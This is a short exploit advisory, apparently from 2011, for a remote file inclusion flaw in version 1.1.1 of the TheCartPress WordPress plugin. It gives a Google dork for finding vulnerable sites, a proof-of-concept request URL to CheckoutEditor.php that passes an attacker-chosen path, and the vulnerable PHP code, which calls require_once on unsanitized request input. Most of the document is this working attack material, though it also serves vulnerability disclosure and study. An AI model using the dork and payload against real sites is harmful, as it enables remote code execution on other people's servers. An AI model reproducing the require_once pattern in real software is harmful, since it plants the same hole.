Wordpress TheCartPress Plugin 1.1.1 Remote File Inclusion

# Exploit Title: Thecartpress Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/thecartpress
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/thecartpress/download/
# Version: 1.1.1 (tested)

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PoC
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http://SERVER/WP_PATH/wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI

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Vulnerable Code
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if ( isset( $_REQUEST['tcp_save_fields'] ) ) {
 $path = $_REQUEST['tcp_class_path'];
 $class_name = $_REQUEST['tcp_class_name'];
 require_once( $path );